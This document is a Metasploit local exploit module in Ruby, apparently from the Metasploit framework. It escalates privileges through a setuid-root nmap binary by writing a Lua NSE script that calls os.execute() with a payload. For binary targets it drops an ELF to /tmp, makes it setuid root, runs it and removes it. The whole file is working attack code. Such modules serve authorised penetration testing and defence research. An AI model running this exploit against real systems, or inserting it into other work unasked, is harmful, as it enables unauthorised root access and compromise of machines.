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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Local
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  Rank = ExcellentRanking
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  include Msf::Exploit::EXE
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  include Msf::Post::File
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Setuid Nmap Exploit',
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        'Description' => %q{
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          Nmap's man page mentions that "Nmap should never be installed with
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          special privileges (e.g. suid root) for security reasons.." and
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          specifically avoids making any of its binaries setuid during
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          installation.  Nevertheless, administrators sometimes feel the need
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          to do insecure things.  This module abuses a setuid nmap binary by
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          writing out a lua nse script containing a call to os.execute().
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          Note that modern interpreters will refuse to run scripts on the
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          command line when EUID != UID, so the cmd/unix/reverse_{perl,ruby}
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          payloads will most likely not work.
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [ 'egypt' ],
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        'DisclosureDate' => '2012-07-19',
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        'Platform' => %w[bsd linux unix],
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        'Arch' => [ ARCH_CMD, ARCH_X86 ],
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        'SessionTypes' => [ 'shell', 'meterpreter' ],
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        'Targets' => [
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          [ 'Command payload', { 'Arch' => ARCH_CMD } ],
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          [ 'Linux x86', { 'Arch' => ARCH_X86 } ],
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          [ 'BSD x86', { 'Arch' => ARCH_X86 } ],
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        ],
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        'DefaultOptions' => { 'PrependSetresuid' => true, 'WfsDelay' => 2 },
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        'Notes' => {
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          'Reliability' => [ REPEATABLE_SESSION ],
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          'Stability' => [ CRASH_SAFE ],
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          'SideEffects' => [ ARTIFACTS_ON_DISK ]
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        },
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        'DefaultTarget' => 0
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      )
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    )
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    register_options([
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      # These are not OptPath becuase it's a *remote* path
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      OptString.new('Nmap', [ true, 'Path to setuid nmap executable', '/usr/bin/nmap' ]),
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      OptString.new('ExtraArgs', [ false, 'Extra arguments to pass to Nmap (e.g. --datadir)', '' ]),
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    ])
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    register_advanced_options [
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      OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
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    ]
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  end
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  def nmap
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    datastore['Nmap']
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  end
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  def check
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    return CheckCode::Safe("#{nmap} file not found") unless file? nmap
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    return CheckCode::Safe("#{nmap} is not setuid") unless setuid? nmap
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    CheckCode::Vulnerable("#{nmap} is setuid")
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  end
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  def exploit
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    if (target.arch.include? ARCH_CMD)
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      p = payload.encoded.gsub(/([$"])/) { |_m| "\\#{Regexp.last_match(1)}" }
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      evil_lua = %{ os.execute("#{p} &") }
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    else
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      exe_file = "#{datastore['WritableDir']}/#{rand_text_alpha(8)}.elf"
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      print_status("Dropping executable #{exe_file}")
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      write_file(exe_file, generate_payload_exe)
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      evil_lua = %{
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        os.execute("chown root:root #{exe_file}");
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        os.execute("chmod 6700 #{exe_file}");
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        os.execute("#{exe_file} &");
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        os.execute("rm -f #{exe_file}");
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      }
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    end
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    lua_file = "#{datastore['WritableDir']}/#{rand_text_alpha(8)}.nse"
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    print_status("Dropping lua #{lua_file}")
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    write_file(lua_file, evil_lua)
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    print_status("Running #{lua_file} with Nmap")
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    scriptname = lua_file
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    if (lua_file[0, 1] == '/')
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      # Versions before 4.51BETA (December 2007) only accept relative paths for script names
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      # Figure 10 up-directory traversals is enough.
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      scriptname = ('../' * 10) + lua_file[1..]
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    end
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    begin
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      # Versions before 4.75 (August 2008) will not run scripts without a port scan
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      result = cmd_exec "#{nmap} --script #{scriptname} -p80 localhost #{datastore['ExtraArgs']}"
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      vprint_status(result)
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    ensure
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      rm_f(lua_file, exe_file)
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    end
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  end
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end
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